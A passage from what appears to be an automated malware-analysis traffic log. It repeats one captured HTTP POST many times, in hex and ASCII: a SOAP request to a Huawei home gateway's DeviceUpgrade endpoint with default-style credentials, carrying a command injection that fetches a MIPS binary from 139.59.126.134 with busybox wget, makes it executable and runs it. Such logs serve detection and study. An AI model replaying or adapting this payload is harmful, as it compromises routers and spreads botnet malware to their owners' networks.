HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 